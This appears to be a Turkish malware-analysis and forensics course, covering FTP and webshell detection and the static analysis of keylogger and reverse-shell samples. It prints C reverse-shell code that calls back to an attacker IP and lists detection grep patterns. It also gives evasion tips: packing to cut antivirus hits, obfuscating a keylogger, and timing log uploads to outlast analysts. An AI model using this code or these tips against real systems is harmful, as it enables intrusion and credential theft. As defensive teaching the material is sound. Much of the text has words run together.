cd /var/log/proftpd/ && tail -10 proftpd.log
 cd /var/log/proftpd/ ftp loglarının bulunduğu konuma gittik.
 tail -10 proftpd.log burada ise tail komutuyla son 10 işlemi listeledik.
Kırmızı alanda görüldüğü üzere 192.168.125.128 numaralı ip tarafından ftp oturumu açılmış
ve kapatılmış.
Wireshark aracı ile incelemeler yapıcak olursak..
Wireshark'ta FTP kodları üzerinden filtrelemeler yapılabilir.
Örneğin başarılı girişler bulunup incelenebilir.
ftp.response.code == 230
Follow > Tcp Stream yaparsak detayları görebiliriz.
başarısız girişleri incelersek;
ftp.response.code == 530
Başarılı olan dosya işlemleri filtrelemek istersek;
ftp.response.code == 226
Paketlerden birine Follow > Tcp Stream der isek daha fazla detaya ulaşabiliriz.
Son olarak içerisinde data olan paketleri inceleyelim. Bunun için ;
ftp-data
Direkt olarak kırmızı alan dikkatimizi çekiyor. Burada bir STOR yani uzak ana bilgisayarda
bir dosya saklama, yükleme işlemi dikkatimizi çekiyor. Yüklenen dosyanın adı
meterpreter.py bunu detaylı olarak inceleyeceğiz.
Yeşil alanda ise bir RETR yani uzaktan bir bilgisayardan dosya çekme işlemi görüyoruz
dosyanın ismi blue_pass.txt bunu zaten NetworkMiner'da içeriğini görüntülemiştik.
Mavi alanda ise LIST adında anlaşabileceği üzere listeleme işlemi yapılmış ve bize veri
dönmüş.
Kırmızı alandaki bir paketi incelemeye alacak olursak;
Follow > Tcp Stream der isek zararlının kodlarını rahatlıkla görebiliriz.
zararlı tespit edilen paketin detaylarındaki FTP Data kısmına sağ tık > Export Packet
Bytes.. diyelim
Dosyayı buradaki gibi .py uzantılı şekilde kayıt edersek dosyayı dışa aktarmış oluruz.
WEBSHELL TESPİT
WebShell Tespiti ( Ağve Local Tarama )
Protokol hiyerarşisine bakarsakgenelolaraktcp ve httpprotokolleri üzerindeişlemyapılmış.Aynı
zamandaHTTP de MIME type üzerindenişlemleryapıldığınıgörüyoruz.Aşağıdaki gibi birfiltre ileilgili
paketi görebiliriz.
statistics-http-packetcountersekmesinegelelimve httpüzerindeyapılanistekleri,dönenyanıtları
buradanistatistikolarakgörebiliyoruz.
Örneğin106 tane GET isteği yapılmış.Yapılanhttpisteklerinden3tanesi 200 döndürmüşyani başarılı
isteklergerçekleşmiş.Genel olarak401 yani yetkisizerişimcevaplarıdönmüş.Yine yapılanhttp
requestleri statistics-http-requetssekmesindengörebiliriz.
Bu şekilde getisteklerini görüyorum.
Yapılan getisteklerini incelemekistersekaramaçubuğunaalttaki filtreyi yazmamızyeterli.
* http.request.method==”GET”
Buradan herhangi birpakete sağtıklayıpfollow –tcp streamdiyerektcppaketlerini birleştiriyorum.
401 dönenyanıtgörüyorumki zaten100 denfazlagetisteğininheperişimkısıtlamasınadüştüğünü
görmüştüm.
Bu tipuploadsayfalarındauzantıkontrolüyapılmamaktadır.Sistemkontrolucontenttype değerini
kontrol etmektedir.BurpSuite gibi araçlarile de bumekanizmakolaylıklaatlatılmaktadır.( http
contains“png” ) diyerekfiltre ettiğimizde shelldosyasınınağdaki izinerastlamamızmuhtemeldir.
Örnek:
Bu tipshell yüklemesaldırıları,uploadsayfalarıüzerindeki dosyakontrollerininmime typelere göre
yapılmasındankaynaklanıyor.Halbuki yüklediği phpdosyasıdır,ancakyazılımdauzantısınadeğil
contenttype değerine göre kontrol olduğundanatlatılır.Phpdosyasıyüklenirkencontenttype
değerini pngolarakdeğiştirerekilgilidosyakontrolüatlatılmışolur.
Paketlerinbaşındapshackbayrağının önemi bubayraklıpaketleriniçindedatataşıdığını
belirtmektedir.HttpPshack bayraklı paketleri görüntülemekiçin
* httpcontains“x50x18”
Pshack paketine aithttpstreamine çıkansonucuonline editöreyapıştırarakshell ingörüntüsünü
yakalamayaçalışalım
Farklı birdosya..
web shell Local tespit
WebShell Tespiti
GünümüzAPTgruplarının saldırılarını analizlerini incelediğimizde DMZyani SavunmasızBölge olarak
çevirisi olanAğımızındışarıya açık olankısmındanyapılansaldırılardır genellikle SosyalMühendislik
Uygulamalarıile gerçekleştirilmektedir. SaldırganLocal File Inclusion,Remote File Inclusion
UnrestrictedFile Uploadgüvenlikaçıklarınıkullanaraksistemiçerisine yani DMZalanınadüşecektir.
Sisteme düşebilmekiçinise “WebShell”dediğimizkoddosyasınısistemüzerine yüklerveyauzaktan
çağırır. Sonra yüklediği koddosyasınıçağırarak sistemüzerindeshell dediğimizkomutekranınıelde
eder.
Bir çok webshell koduvardır genel olarakPHP,Perl,Python,ASP/ASPXvbprogramlamadilleri
kullanılarakyazılabilirsaldırılacaksiteyeözel Local,Remote,Rootvb.çeşitleri bulunmaktadır.Tabii ki
APT grubukendine özel obfuscate edilmişwebshellyazabilir.Bunlarıtespitetmekhaliyle dahazor
olmaktadır.
İnternette görülenshellerinhepsi güvenirlikli değildirshelllerde arkakapılar oluşturularakyazarında
sizinsayesindeotomatiksızmasınayardımcıolmuştaolabilirsinizkaynakkodlarıincelenerekherhangi
bir bağlantıisteğininolupolmadığıincelenmesigerekmektedir.
SaldırganShell i attıktan sonraiç ağa sızmak isteyecektirdiğersitelere de bulaşmakiçinveyakritik
bilgilere ulaşmakiçinbuyoluizleyecektir.
Şimdi ise size popülerolanshelltespitaraçlarınıtanıtacağım düzenli olarakaraara yapmanızı tavsiye
ederim.Ancaktemizçıkmasınapekgüvenmeyinsaldırganlarbudurumubildikleri içinbunakarşı
önlemleralmaktadırlar.Buyüzdenmanuel taramayıdagöstereceğimancakotomatize araçlarıda
kullanmayındemiyorumişinizi kolaylaştırmadayardımcıolmaktadır.
Shell tespitedersekeğeryüklenmetarihine bakıpiçağımızı kontrol etmemizgerekmektedirherhangi
bir yetki yükseltmedurumdamüdahaleetmemizgerekmektedir.Ancakbutaramalarımızı düzenli
olarakyaparak iç ağımıza sızmadan müdahale etme şansımızolacaktır.
Neopi
Link:
https://github.com/Neohapsis/NeoPI
Araca taramak istediğinizdizini -A ve -aparametreleri ile verdiğinizde taramaişlemi başlayacaktır.
Tarama işlemi bittiğindetespitettiği webshelleri sizelisteyeleyecektir.
Backdoorman
Bu araç sadece Linux cihazlardaçalışmaktadır.Virustotalvb.apilerikullanarakwebshell tespit
etmeye çalışmaktadır.
Link:
https://github.com/cys3c/BackdoorMan
Aşağıdaki ekrangörüntüsünde gördüğünüzgibi komutuverdiğinizdewebshell tespitişlemi
başlayacaktır.( Sadece PHPdosyalarınıtespitetmektedir
Webshell Detector
Bu araç BackdoorManaracına oranla dahafazlawebshell tespitedebilmektedir.Sadece PHP
dosyalarıdeğil perl,aspxgibi webshell dosyalarınıdatespitedebilmektedir.
Link:
https://github.com/emposha/Shell-Detector
Manual Tarama
Manual taramanın önemi özellikle .txt.jpg.pnguzantılıtaramaları da kolaylıklagerçekleştirmemize
olanaksağlamaktadır.Otomatize araçlardasadece bellibirformattataramayapıyordukbuda
savunmakısmında kritikbirdurum.
Linux sistemlerde terminale aşağıdaki komutugirersenizson24saat içerisinde websunucuüzerinde
değiştirilenveyayeni yüklenen“PHP”uzantılıdosyalarlistelenecektir.( " -mtime -1" kısmını
kaldırarakhepsini görüntüleyebilirsiniz.
find. -type f -name '*.php'-mtime -1
Aynı komutuperl, python,aspx,asp,txt,jpgvb.uzantılariçinde uygulayabilirsiniz.
Şüpheli KodTespiti
Dosyalariçinde php’de kullanımışüpheli olankodlarolabilir.Wordpressyadadurupal gibi hazır
sistemlerkullandığınızdasizi yanıltacaksonuçlarçıkartabilir.
find. -type f -name '*.php'| xargs egrep -i
"(fsockopen|pfsockopen|stream_socket_client|exec|system|passthru|eval|base64_decode) *("
[*]fsockopen:DDosiçinkullanılabilir,uzaksoketaçmayayarar.
[*]pfsockopen:uzaksoketaçarfsockopen ile aynıdır.
[*]ecex,systemve passthru:sunuculardakomutçalıştırmayayarar.
[*]stream_socket_client:Uzakbağlantıoluşturma.
[*]Kodubase64ile şifreleyerektespitişleminizorlaştırmakisteyebilirler.Shell’inbiryerlerinde
içerisinde “base64”geçenfonksiyonlarınkullanılmışolabilir.
find. -type f -name '*.php'-mtime -1| xargs grep -l "fsock"
find. -type f -name '*.php'-mtime -1| xargs grep -l "shell"
find. -type f -name '*.php'-mtime -1| xargs grep -l "base64
Bu şekilde de tektekyapmakmümkün
Burada aklınızdabulunmasıgerekenenönemli şeyshell dosyalarınınsadece PHPolarak
yüklenmediğidir.Saldırganlarshell dosyalarınıresimformatlarıveyaTXTformatlarındada
yükleyebilmektedirler.Oyüzdenyukarıdaki komutlarıresimformatlarınave TXTformatınagörede
çalıştırmalıdır.
Peki yukarıdaanlatılankomutlarıWindowsüzerinde yapamazmıyız?Tabii ki yaparız onuniçinde
Powershell ihtiyacımızvar.
Get-ChildItem-recurse-include"*.php"|select-string"(fsock|shell|exec)"|%{"$_.file-
name):$($_.line)"}|out-gridview
Yukardaki komutile içerisinde “fsock,shell,exec”kelimeleri geçendosyalarıtespitettim.Buanahtar
kelimelerdediğimgibi arttırılabilir.
WebShell ile sızmadaki muhtemelgüvenlikaçıklarıhakkındayapılabilinecek muhtemel saldırılarve
açıklamaları
https://www.owasp.org/index.php/Unrestricted_File_Upload
https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion
https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion
BÖLÜM 2
MALWARE
KAYNAK KOD
ANALİZ
C KEYLOGGER KAYNAK KOD ANALİZ
C Nedir?
C, 1950'li senelerdenitibarenbaşlayıpgünümüze kadargelenbir programlama dilidir.
KeyloggerNedir?
Keylogger,kurbanınklavyesinde bastığı her tuşun kaydediliphacker(Saldıran taraf)'a iletilmesini
sağlayan bir programdır. Keyloggerkişininbastığı hertuşu kaydettiğindendolayı bilgisayarında
olan bütün hesaplarınele geçirilmesi anmeselesidir.
C KeyloggerKaynak Kod Analizi
Dosyalarımızın oluşturulup, keyloggerimizin gizlenmesini ve basılan tuşların çekilmesini sağlayan kodlar bu
bölümde bulunuyor.
Kurbandan gelen bilgiler keys.txt dosyasına kaydedilmekte.
Bu kısımda ise hacker, kurbandan gelen bilgilerin nereye gideceğini seçiyor.
Burada herhangi bir mail sunucusu kullanabilir.
Bu konumunda burda sonuna gelmiş bulunmaktayım.
C REVERSE SHELL KAYNAK KOD ANALİZ
Bu yazımızda C ile yazılmış Reverse Shell'in kaynak kodlarının analizini yapacağız..
Öncelikle;
Shell Nedir?
Türkçe karşılığı kabuk olan Shell, kullanıcıdan aldığı komutları yorumlayıp uygulayan bir
katmadır yani kullanıcı ile kernel arasındaki iletişim yoludur.
Reverse Shell Nedir?
Kurban bilgisayarda çalıştığında saldırgan ile iletişimi ve komut çalıştırmasına olanak
sağlayan yapıya reverse shell(ters kabuk) denir.
Senaryonun özeti;
Kurban makinede herhamgi bir yöntem ile sızıldığını düşünelim, bu bir exploit yardımı ile
olabilir.
C ile yazılmış Reverse Shell execute edildi.
Saldırgan ise ilgili portu netcat ile dinlemeye aldı..
Buradaki -lvp parametrelerinin açıklamasını yapacak olursak..
-l : dinleme modu,
-v : bağlantı sırasında Standart Error'da olan mesajların ayrıntılı biçimde gösterilmesini
sağlar.
-p : kaynak portun belirtildiği parametredir.
Kurban makinede Reverse Shell çalıştığı anda görüldüğü üzere bağlantı sağlanmış olur ve
saldırgan kurban makinede bir shell elde etmiş oldu..
Sıra geldi kurban makinede execute edilen Reverse Shell'in kaynak kodunu incelemeye..
int mySocket;
mySocket = socket(AF_INET,SOCK_STREAM,0);
Görüldüğü üzere bir soket yapısı oluşturulmuş, bu yapı IPv4 protokolünü kullanarak TCP
üzerinden veri alışverişi gerçekleştirmektedir.
struct sockaddr_in blue;
blue.sin_family = AF_INET;
blue.sin_addr.s_addr = inet_addr("192.168.136.130");
blue.sin_port = htons(4444);
Burada blue adında bir struct oluşturulmuş.Veri alışverişinin özellikleri belirtilmiş. Saldırgan
kendi adresini ve veri alışverişinin yapılacağı portu belirtmiş.Yani yukarıda netcat ile dinleme
yapan saldırganın adresi inet_addr("192.168.136.130");
port ise htons(4444); bilindiği üzere dinlemeye aldığı TCP 4444 numaralı porttu.
connect(mySocket,(struct sockaddr *)&blue,sizeof(blue));
Saldırgan kendisine connect fonksiyonu ile bağlantı isteği gönderiyor. Burada 1. parametrede
oluşturulan soket ismi, 2. parametre olarak saldırganın bilgilerinin tutulduğu veri yapısı son
parametre ise bilgilerin boyutunun tutulduğu kısımdır.
execl("/bin/sh","sh","-i",NULL,NULL);
execl fonksiyonu ise saldırganın uzaktan komut çalıştırma imkanı tanıyacaktır.
execl() ilk parametre olarak çalıştırılabilir dosyanın yol bilgisini alır. Bu da "/bin/sh" dir.
/bin/sh , Bash benzeri bir komut yorumlayıcısıdır. POSIX kabuğu olarak da geçer.
İlk 3 parametreyi şöyle düşünebilirsiniz;
execl() fonksiyonu içerisinde de aslında bu işlemin aynısı yapılır ve bir komut yorumlayıcısı
açılır.
PYTHON KEYLOGGER KAYNAK KOD ANALİZ
Merhaba arkadaşlarkonumuzbirpython aracının zararlı olduğununasıl anlarızbunu paylaşacağım.
İlkönce bakmamız gerekenşeykaynakkodlarınaerişmekolacaktır.Ulaştığımızıfarz ederek
anlatmayadevemediyorum.
Kaynakkodunaeriştiktensonrailkbakmamızgerekenyerprogramaeklenenkütüphanelere bakmak
olacaktır.Örnekverecekolursak( smtplib) kütüphanesini gördüğümüzdenbirsmtpile bağlantı
kurabileceğisonucunavarmışoluyoruz.Aşağıdaki örnekteki gibi:
Görüldüğügibi pynputKeyListenerdirektel sallıyorbenklavye dinliyorum diye.Bununlabirlikteweb
sitesine birveri alışverişiyaptığınırequestskütüphanesiile anlıyoruz.Budasıradan ancak keylogger
olmaihtimaliniarttırmaklabirlikte( socketve smtplib) kütüphaneleri de bizeartıkbenbir
keyloggerimdiyor.
Eğer kaynakkodlarıgörememişolsaydıkstatikanalizkısmındakeyloggerolduğukanısınavaracaktık
ve kendimizi sanal ortamdaenfekteedipdurumuonagöre analizetmişolacaktık.
kaynakkodlarınıanalizetmeye devamediyorumve oluşturulanlogdosyasınıne kadarsüre ile
atacağını ve atarkende içeriğini formatınıdagörmüşolduk.
Süre 60 saniye yani logdosyasınıdakikadabirgönderecekdemekoluyor.Genel olarakKeyloggerler
içinminimum15 dkgibi bir süre verilmektedirçünküarkaarkayaatılan maillerden dolayıspama
düşme durumusözkonusuolduğundandolayı15 dk.verilmektedir.Ancakbanasorarsanızverimli
olmasıbakımından ftpsunucusu+ 24 saate birlog dosyalarınınuploadedilmesiyönünde olurdu.
Çünkükodlarışifreleyeceğimdendolayıdinamikanaliziyapmakzorundakalacakinsanlargenelolarak
sabırlı olmadığından1 gün boyuncasanal sunucuyuaçık bırakmayacaklarındandolayıbircokkişi
keyloggere temizsonucunuveriyor.
En son olarakbu tarzda birgmail ve parolasıgibi kod betiğinerastladığınıztaktirde direktzararlı
olaraknot düşünüz.
Konumuzbukadardı İyi forumlardilerim...
PYTHON REVERSE SHELL KAYNAK KOD ANALİZ
Konumuzpaketlenmişbirpythonprogramızıne kadar statikstatikanalizyapabileceğimizi
inceleyeceğiz
önceliklepyarmoryükleyelimyüklemekiçin
pipinstall pyarmor
yazmanızyerelidirpaketlemekiçinise
pyarmorobfuscate (program_adı).py
yazarak kodlarımızı gizlemişolacağızdahafazladetayiçin
(http://pyarmor.readthedocs.io/en/latest/how-to-do.html) sayfasınıinceleyebilirsiniz.
Bu gününtarihi olarakpyarmor 6.6.1 güncelsürümünükullanacağız.
Şimdi keylogerimiziobfuscateedelim
Evetburadaki gibi yazarakprogramınızı obfuscate edebilirsinizdahafazladetayiçinpyarmorhelp
yazarak veyasize verdiğimyaknaktandetaylarınıaraştırabilirsiniz.
Şimdi obfuscate edilmişdosyaile orjinal dosyayıkarşılaştırmayabaşlayalım.
Görüldüğüüzre orjinal dosyamızındikboyutu4 KB ikenobfuscate edilmişdosyamız20KB burdanşu
çıkarımda bulunubiliriz.Pyarmoralgoritmasıkayanakkodundakodekleyerekeklemişkodu
şifreleyerekbiryöntemizlediğinitemelkriptolojidenanlayabiliriz.
Kaynakkodlarınıincelemeye geçelim.Obfuscate edilmişdosyadagörildüğügibi şekildeprogramın
hangi kütüphaneyi kullanıyorhiçbirşekilgöremiyoruzbuprogramhakkındaedinebileceğimiztekbilgi
pyarmorile obfuscate edilmişolmasıdır.
Paranteziçindeki kodunhexkoduolduğunubiliyoruzbunudecode ettiğimizde sadece pyarmor
olduğunugörüyoruz.
Bu yüzdenbize 3seçenekkalıyor.Yabu sürümünçözücü decoderinibulupkaynakkodaerişeceğizya
bu şifreleme algoritmasınırem üzerindenmanual olaraksonucubulupkaynakkodunaerişeceğiz.
Yada son çare olarakdinamikanalize girişeceğiz.
konumuzbukadardı pythonkodlarıiçintemel statikanalizolaraktoplayacağımızverilerve çıkarımlar
kısaca IOC lar bunlardır.
BÖLÜM 3
MALWARE
TEMEL STATİK
ANALİZ
C KEYLOGGER TEMEL STATİK ANALİZ
Keyloggerimizi packingişlemi yapmadanönce taratalım.
12/37 gibi birsonuçaldık artık packingişleminiyapabiliriz.
Benpackingişleminiupx ile yapacağımsizistersenizfarklıbirpackerskullanabilirsiniz.
upx,yazılımdaki tümregisterkeys’i yani pushall registersyapıphafızayaatarardından sahte bir giriş
noktası,entrypointoluşturarakişleyişi bozmamantığıylaçalışır.
Packingişlemimiztıkladığımızandayapılıyor, Detectiteasy(die) veyaExeinfoilebunugörebiliriz.
Şimdi ise packingişlemi sonrasıdosyamızıtaratalım.
Bu da packingişlemi yaptıktansonraki hali,6/37sonucunubize verdi.
StatickAnalysisbölümündenzararlımızhakkındabilgi toplayabiliriz.
Zararlımız hakkındametadatagibi bilgileri görebiliyoruz.Buradaufakbirparantezaçıp bazı kısımlara
değinelim.PEbaşlığıprogramtarafından tutulankütüphane ve fonksiyonbilgilerini saklar.PEbirçok
bölüme ayrılır.(.text,.rdata.data,.rsrc vb.) Burada upx ile packedilmişzararlımızıincelediğimiz
zaman PE sectionsalanındaupx0,upx1,upx2yeraldığını görüyoruz.Bu da executable’ınupx ile
packlendiğininbirkanıtıdır.Aynı zamandauygulamanınimportettiği DLLdosyalarınıda görmekteyiz.
Burada “ws2_32.dll”dosyasının importedildiğini görüyoruz.BuDLL dosyasıağ üzerindenbağlantı
açmak içinkullanılır.Tıpkı “wsock32.dll”dosyasındaolduğugibi. Artıkunpackişleminegeçebiliriz.
Detectit easy(die) ve Exeinfo’dangördüğümüzüzere zararlımızupx ile packlenmiş.
Unpack yapacağımız dosyayıseçipdevamedelim.
Unpack edilecekdosyamızınkonumunuve ismini seçipişlemimizi bitirelim.
Unpack işlemimizbukadardı.
Şimdi Stringsaracıylapacklenmişve unpacklenmişhalini inceleyelim.
Görüldüğüüzere packlediğimizzararlınıniçinde UPX0,UPX1gibi yazılar gözükmekte.BunlarPE
Sectionsalanındagörülenbilgileridi.Sağtaraftaise packlenmemişhalininstringsanalizinde .text,
.data,.bss gibi segmentlerigörebilmekteyiz.Buradastringsile uygulamanıniçerisindegeçen
karakterleri inceleyerekzararlıhakkındabilgileredineceğiz.
C REVERSE SHELL TEMEL STATİK ANALİZ
Temel Statik Analiz - C Reverse Shell
Statik Analiz Nedir?
Bilindiği üzere Malware analizi iki farklı kola ayrılmıştı bunlar; statik analiz ve dinamik
analizdir. Biz bu yazıda Statik analiz üzerinde duracağız. Nedir bu Statik analiz diyecek
olursak, uzunca anlatmadan analiz edilecek zararlı yazılımın canlı ortamda çalıştırılmadan
temel manada incelenmesidir.
Burada zararlı yazılımın obfuscating ve packing işlemlerinin olup olmadığı,hangi dosyaları
import ettiği, hangi kütüphaneleri kullandığı, string değerleri, fonsiyonlar.. gibi bilgileri
incelemek ana amacımızdır. Bu bilgiler bize zararlı hakkında önbilgi ve dinamik analiz için
basamak oluşturacaktır.
Senaryomuzda elimizde bulunan Windows sistemler için C ile yazdığımız Reverse Shelli
paketlediğimizi düşünelim ve
Bu dosyayı analiz etmek istersek ilk olarak yapacağımız işlem, Virustotal kullanarak bu
dosyayı taratmak olacaktır.
görüldüğü gibi 13 adet antivirus programı bu dosyayı virüs veya türevi şeklinde algıladı.
https://www.virustotal.com/gui/file/d2e7625750ca69f5a816380f5aa81a968245325f027d4de8
1b9c451397c0826c/detection
Packing işlemi yapmadan önceki vt taraması aşşağıdaki gibidir, packing işleminin etkisini
daha net görebilmekteyiz.
https://www.virustotal.com/gui/file/d3bafbbdd81f27c3039c43966b3c38f64f2850bf6b3768ba4
55254855a94446c/detection
Evet konumuza dönelim ve packing işlemi yapılmış dosyadan devam edelim...
Details bölümünde dosyanın temel bilgileri(hash değerleri, boyutu, türü vs..), zaman
bilgilendirmesi(oluşturma, ilk gönderim, son gönderim, son analiz tarihi), header bilgisi,
import ettiği dll dosyalarına ulaşılabilir.
Relations bölümünde yaptığı bağlantı hakkında bilgi almaktayız.
Behavior bölümünde ise yaptığı bağlantının adresi ve hangi port üzerinden olduğu bilgisini
görmekteyiz. Ayrıca açılan dosyalarda görülmekte...
Virustotal'den temel olarak bilgiler edindik. Şimdi izole edilmiş bir sanal makinede statik
analize devam edelim..
Packing işlemini yapıldığını zaten biliyorduk fakat bunu şimdilik unutalım, başlangıç olarak
dosya üzerinde herhangi bir obfuscator veya packer işlemi olup olmadığını kontrol edelim.
Bunun için Die 1.01 veya PEiD v0.95 kullanılabilir.
Görüldüğü üzere PeCompact ile paketlenmiş...
Paketleme işleminden kurtulmak için RL!dePeCompact 2.x unpacker aracı kullanılabilir..
Paketlemeden kurtulduktan sonra statik analize devam edelim...
import edilen dll hakkında bilgi almak için CFF Explorer kullanabiliriz.
Görüldüğü üzere zararlı WSOCK32.DLL ağ erişimi için kullanıyor. Aşşağı bölümde ise
kullanılan fonksiyonlar görülmektedir.
connect() sayesinde dışarıdan bir sisteme bağlantı yapabiliyor, send() ile veri gönderebiliyor
vs...
Ayrıca KERNEL32.dll içerisindeki sleep() fonksiyonu da zararlı yazılımlarda çokca
kullanılan bir methodtur.
Son olarak da pestudio ile inceleme yapacak olursak...
strings bölümünde bazı dikkat çeken şeyler bulabiliriz. Bu bir ip veya domain olabilir. Ayrıca
burada da kütüphane isimleri, fonksiyonlar, iletişim yolu olarak kullanılan
protokoller(ftp,smtp...) bulunabilir.
Bizim burada gözümüze çarpan local bir ip adresi muhtemelen reverse shellin iletişime
geçtiği adres.
Statik analiz basic olarak böyle.. Daha sonrasında dinamik analize geçilerek daha net
yargılara varılabilir.
PYTHON REVERSE SHELL TEMEL STATİK ANALİZ
Herkese merhaba, bugünkü konumda Python ile yazılmış olan reverse shell'in yaramazlıklarını bulacağız.
STATİKANALİZNEDİR
Statikanalizenbasittanımı ile programlarıfiilençalıştırmadanbirnevi pasif olarakyapılananalizdir.
Genelde statikanaliz,kaynakkodüzerindengerçekleştirilir.(bkz:unpack) Buanaliztipindezararlı
yazılımın hangi dosyalarıkullanmakistediği,hangi kütüphaneleri kullandığı,stringdeğerleri hatta
bazenboyutugibi temel taşlarincelenir.
Tanımımız bukadardı. Artık fasulyeninfaydalarındanbahsedebiliriz.Şimdielimizde birtane Python
reverse shell var,statikanalizde de tanımımızdanhatırlayacağımızüzere amacımız program
yürütülmedentemel taşlarıincelemekti.Ozamançok klişe biryöntemolanVirusTotal'e taratalım
zararlı olduğunudüşündüğümüz.exe'mizi,bakalımbize nelerverecek.
Gördüğünüz gibi 5 tane antivirüs programı uyanabilmiş. Durum içler acısı.
Şimdi geldik bu işlemin önemli tarafına. 'Details' ve 'behavior' kısımlarını başta iyi incelemeliyiz ki işin
devamında biraz daha rahatlayalım.
Details kısmında yazılımın tetiklediği .dll'leri görüyoruz bunları inceleyeceğiz.
Behavior kısmında ise runtime modüllerini gördük. Şimdi gelin bunların üstüne biraz kafa yoralım.
Öncelikle 'details' kısmında bazı .dll'ler çıktı karşımıza. kernel32.dll, işletim sisteminin temel işlevlerini
yerine getirmek; bellek yönetimini sağlamak, giriş ve çıkış donanımlarını kontrol etmek gibi görevleri
yerine getiren Windows modülüdür. Ama burada öncelikle gözüme çok önemli bir fonksiyonu çarptı. O da
GetCurrentProcess. Bu fonksiyon Windowsça process_all_acces hakkına sahip yani herhangi bir işlem için
maksimum erişim hakkı. Zatenkıllandığımız yazılım burada bizi iyice kızdırıyor. Artık VirusTotal faslından
biraz daha derine inme vakti, göreceğimizi gördük zaten.
Bu kısma kadar VirusTotal'den programda kullandığımız .dll'leri gördük ve temel olarak ne işe yaradığını
biliyoruz artık ama temel olarak. Daha kapsamlı olması için bu .dll'leri CFF Explorer ile inceleyeceğiz statik
analiz için kapsamlı ve kullanışlı bi' şey. Bu kısma geçmeden önce her ihtimale karşı zararlımızısanal
ortamda açmak bizim yararımıza olur. Kamu spotundan sonra artık devam edebiliriz.
Programımız bize VirusTotal'de gördüğümüz .dll'leri verdi tekrardan. Ama bakalım alt kategorilerde yeni
neler ile karşılaşacağız.
İncelemeye başlar başlamaz karşıma muhteşem üçlü çıktı. Adından da anlayacağınız üzere yanlış ellerde
dosyalar üzerinde birtakım işlem hakkına sahip bu fonksiyonlar.
Yine karşımıza kötü çocuklar çıktı. GetCurrentProcessId isimli fonksiyon makineniz üzerinde herhangi bir
süreç sona erene kadar, sistem genelinde süreci tanımlıyor ki zararlı yazılım eğer soket bağlantısı kuruyor
ise bu tehlikeli bir şey. GetSystemTimeAsFileTime fonksiyonu ise sistem bilgilerini (saat, dosya değiştirme
tarihi, yapılan yüklemelerin tarihi) çekiyor.
Bir diğer .dll'miz de ADVAPİ32.dll idi. Tek bir fonksiyon kullanılmış bu .dll altında ama baya bi' can alıcı bir
fonksiyon bu. ConvertStringSecurityDescriptorToSecurityDescriptorW fonksiyonu dönüştürülen
tanımlayıcının boyutunu bayt cinsinden alan bir değişkene ışık çakıyor. En üstte linkini bıraktığım konumda
bunla ilgili bir kod parçası vardı hatırlarsanız.
Sonuç olarak programımızın bir zararlıyazılım olduğuna kanaat getirmiş olduk yaptığımız birtakım işlemler
ile bugünkü konum bu kadardı herkese iyi günler dilerim.
TEMEL STATİK MALWARE ANALİZ TEKNİKLERİ
Bu konudasizlere zararlıyazılımlarüzerinde temel statikanalizinadımlarınıuygulamalıolarak
göstermekistiyorum.
Temel Statik Zararlı YazılımAnalizi
Statikanaliz,şüphelidosyayıçalıştırmadananalizetme tekniğidir.Yani bunubirazdahaaçmak
gerekirse zararlıdosyasistemüzerinde çalıştırılmaz,işleviniyerinegetirmedenodosyaüzerinde
analizlerile zararlıhakkındaçıkarımlargerçekleştirilir.İşte bizbunastatikzararlıyazılımanalizi
diyoruz.Tabii bizstatikanalizi de kendi içerisinde iki başlığaayırıyoruz. Temel StatikAnaliz ve İleri
StatikAnaliz olmaküzere iki başlığaayırıyoruz.Heriki seviyede de zararlıçalıştırılmaz.İleri statik
analizolayınıtemel analizsüreçlerindensonraişleyeceğiz.Bugünodaklanacağımızkonutemel statik
analizteknikleri olacak.
Temel Statik Analiz Adımları
Temel statikanalizinde nelerelde edeceğimizi birkaçmadde ile sıralayalım.
- Zararlı yazılımın hedef mimarisini belirleme
- Zararlı yazılımın virüstotal çıktılarını elde etme
- Dosyanınişlevi ile ilgili verileri ayıklama(strings,functions,imports…)
- Var ise analizi engellemekiçinuygulanantekniklerintespitedilmesi
Temel statikanalizde genel olarak bumaddelerüzerine yoğunlaşacağız.Kendimizebiradetzararlı
dosyabelirleyelimve tekniklerimizi kendisiüzerinde uygulayalım.
Elimizde malware.exeadındabirzararlı dosyavar. Dosyanınuzantısına baktığımız zamanexe
olduğunugörebiliyoruz.Yani şuandaelimizde çalıştırılabilirbirdosyaformatıolduğunugörüyoruz.
Ancaksadece uzantıya güvenmekbiziyanılgıyadüşülebilir.Bununiçinsadece uzantıyadeğildosyanın
imzasınada bakmamızgerekiyor.Bizimdosyamızınuzantısıexe olarakgörünüyor.Şimdidosyanın
mimarisi ile ilgili bilgiedinelim.
PE32 executableyani 32 bitlikmimaride yürütülebilirbirdosyaolduğunubize söylüyor.Dosyanınhex
değerlerindenanalizinebakalım.hexeditormalware.exe komutunuuygulayalım.
4D 5A exe dosyasınaaittanımlayıcı numaradır. Buradanda bu dosyanınimzatabanlı olarakexe
dosyasıolduğunuanlayabiliriz.Bunudaburayabırakayım
https://filesignatures.net/index.php?search=EXE&mode=EXT
Analizadımlarımızınilki olandosyamimarisi hakkındabilgiyieldeettik.Şimdi ise exe dosyamızı
virustotal webadresineyükleyerekantivirüsyazılımlarıtarafındannasıl tanındığına bakalım.
İlgili dosya49 antivirusyazılımıtarafındanzararlı olarak algılandı.
Detailssekmesindende uygulamanınmimarisi hakkındabilgiyeulaşmışolduk.
Uygulamamızexecutable formattabusebeptenPortable Executable formatınıkullanmaktadır.
Buradaki PE formatınınalanlarını birazaçalım.
.textbölmesindeuygulamanınmakine hali bulunuyor.
.rdata bölmesinde uygulamanınexportve importbilgileri yeralıyor.
.data bölmesinde global değişkenleryeralıyor.
.rsrc bölmesindeise uygulamanınkullandığıikonvs.yeralıyor.
Uygulamanınimportettiği DLL dosyalarıda bize uygulamanınişlevihakkındabilgilersunuyor.
ADVAPI32.DLLWindowsiçinönemlibirparçadır kendisi.
Burada iki fonksiyonukullandığınıgörüyoruz.Bunlarfonksiyonayırma,başlatma,serbestbırakma
işlevlerini yerine getiriyor.
KERNEL32.DLL ise donanımaerişimve müdahale de sıklıklakullanılanDLLdosyasıdır.Yani zararlı
yazılım geliştiricileri içinbirnimettirkendisi.BuDLL dosyamızdaepeybirfunctionkullanıyor.Bunların
hepsini ayrıntılıaçıklayamam,hepsi içinmsdn sayfasındayeteri kadaraçıklamavar. Burada
dikkatimiziçekenfonksiyonlaraodaklanacağız.
CreateFileW,CreateFileAfonksiyonlarıdosyaokumave yazmaişlevleriniyerinegetiriyor. GetFileType
